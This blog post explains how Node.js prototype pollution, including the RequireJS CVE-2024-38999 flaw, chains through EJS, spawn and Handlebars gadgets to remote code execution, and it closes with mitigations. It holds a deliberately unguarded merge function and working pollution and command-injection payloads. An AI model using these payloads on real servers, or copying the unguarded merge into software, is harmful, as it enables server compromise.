Prototype Pollution to RCE: Node.js Gadget Chains Explained | Tağmaç - root@Tagoletta:~#

Prototype Pollution to RCE: Node.js Gadget Chains Explained

Wed May 27 2026

Category: Security Research


Introduction: The JavaScript Prototype Chain

In JavaScript, every object has a hidden link called [[Prototype]]. This link determines where property lookups continue when the object itself doesn't have a property — this is prototype inheritance.

const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() comes from Object.prototype.toString

At the top of the chain sits Object.prototype. Every object in a Node.js process inherits from it. That fact raises a critical security question:

What happens if we add a property to Object.prototype?

Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true  (never defined on req)

Answer: Every object in the process instantly inherits that property.

What is Prototype Pollution?

Prototype pollution occurs when an attacker can modify Object.prototype through user-controlled input.

This typically happens via insecure merge, clone, or extend operations:

Vulnerable deep merge:

function merge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === "object") {
      merge(target[key], source[key]);  // recursive
    } else {
      target[key] = source[key];       // NO KEY GUARD
    }
  }
}

// Attacker-controlled payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Now: Object.prototype.shell === "bash"

The __proto__ key has special JavaScript semantics: target.__proto__ returns Object.prototype. So target.__proto__.shell = "bash" is equivalent to Object.prototype.shell = "bash".

Alternative pollution vectors:

// Via constructor.prototype
{"constructor": {"prototype": {"admin": true}}}

// Via URL parameter
?__proto__[shell]=bash

// Via JSON merge patch
PATCH /config  {"__proto__": {"debug": true}}

Server-Side Prototype Pollution (SSPP)

Client-side (browser) prototype pollution is well known. The more dangerous variant is server-side: the Object.prototype of an entire Node.js process is poisoned.

Why more dangerous?

  • A single request affects the entire application
  • Written to memory; every subsequent object is affected
  • Library gadgets can be chained all the way to RCE

CVE-2024-38999: RequireJS Prototype Pollution

RequireJS is a widely-used module loader for both Node.js and browser environments.

Vulnerable function: require.config()

// RequireJS source (simplified)
req.config = function(config) {
  // config object is deep-merged with cfg
  // WITHOUT any __proto__ key guard
  extend(cfg, config);
  return req;
};

If a user-controlled config object is passed to require.config():

// Attacker-controlled config
require.config({
  "__proto__": {
    "shell": "bash"
  }
});
// Object.prototype.shell === "bash"

Gadget Chains: Turning Pollution into RCE

Prototype pollution alone is harmless. The danger lies in the presence of gadgets in the application — existing code that reads the polluted property and uses it unsafely.

Gadget 1: EJS Template Engine (CVE-2022-29078 style)

EJS reads the outputFunctionName option during rendering and evaluates it as code:

// EJS internals
if (opts.outputFunctionName) {
  prepended += `  var ${opts.outputFunctionName} = __output;\n`;
}
// The value is inserted into generated code string → eval'd

Attack chain:

// 1. Pollute Object.prototype
Object.prototype.outputFunctionName =
  "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";

// 2. Any EJS render call (normal app flow) now triggers RCE
ejs.render("<%= name %>", { name: "alice" });
// → gadget fires → RCE

Gadget 2: child_process.spawn Options

const { spawn } = require("child_process");

function runConverter(file) {
  // options object is empty; values inherited from Object.prototype
  const proc = spawn("convert", [file], {});
  return proc;
}

// With pollution:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn now runs with shell: true → /bin/bash executes command

Gadget 3: Handlebars Template Engine

Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → executes body → RCE

Full Attack Chain: CVE-2024-38999

HTTP request → require.config(userInput)
    ↓  deep merge (no key guard)
Object.prototype.shell = "bash"
    ↓  gadget lookup
ejs.render() or spawn() is called
    ↓  reads poisoned property
/bin/bash executed
    ↓
RCE — server compromised

Mitigation

1. Add a key guard to merge functions:

function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (key === "__proto__" || key === "constructor") continue;
    if (typeof source[key] === "object") {
      safeMerge(target[key] ??= {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

2. Use Object.create(null) for config objects:

// Creates an object with NO prototype
const config = Object.create(null);
// __proto__ inheritance doesn't exist — pollution impossible

3. Freeze Object.prototype:

Object.freeze(Object.prototype);
// Pollution attempts silently fail (throw in strict mode)

4. Update RequireJS to 2.3.7 or later.

5. Node.js runtime flag:

node --disable-proto=delete app.js
# Disables __proto__ accessor entirely

Conclusion

Prototype pollution offers an elegant attack chain from a seemingly low-impact entry point ("just a property on an object") to full server compromise. The danger lies in the attacker reusing existing application code as gadgets — no new code needs to be introduced.

CVE-2024-38999 showed that a library used for over a decade across millions of projects was vulnerable to this attack class. Every merge, assign, or extend operation in your Node.js codebase should be audited for __proto__ key handling.


CVE: CVE-2024-38999
Library: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Research basis: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023
Reference: https://portswigger.net/research/server-side-prototype-pollution